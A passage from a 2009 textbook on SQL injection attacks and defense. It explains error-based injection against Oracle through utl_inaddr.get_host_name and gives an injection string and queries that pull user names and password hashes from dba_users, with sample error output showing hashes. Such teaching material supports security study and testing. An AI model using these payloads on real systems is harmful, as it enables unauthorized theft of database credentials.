SQL Injection Attacks and Defense - 2009

168 Chapter 4 • Exploiting SQL Injection
Figure 4.9 Returning the Date in an Error Message
Now we have the tools necessary to retrieve data from every accessible table, through the
use of an injected string such as:
' or 1=utl_inaddr.get_host_name((INNER))—
We just replace the inner SELECT statement with a statement returning a single column
and a single row. To bypass the limitation of the single column it is possible to concatenate
multiple columns together.
The following query returns the name of a user plus his password. Both columns are
concatenated.
select username||'='||password from (select rownum r,
username,password from dba_users) where r=1
ORA-29257: host SYS=D4DF7931AB130E37 unknown
To avoid single quotes in the concatenated string it is possible to use the
concat function instead:
select concat(concat(username,chr(61)),password) from (select rownum r,
username,password from dba_users) where r=2
ORA-29257: host SYSTEM=E45049312A231FD1 unknown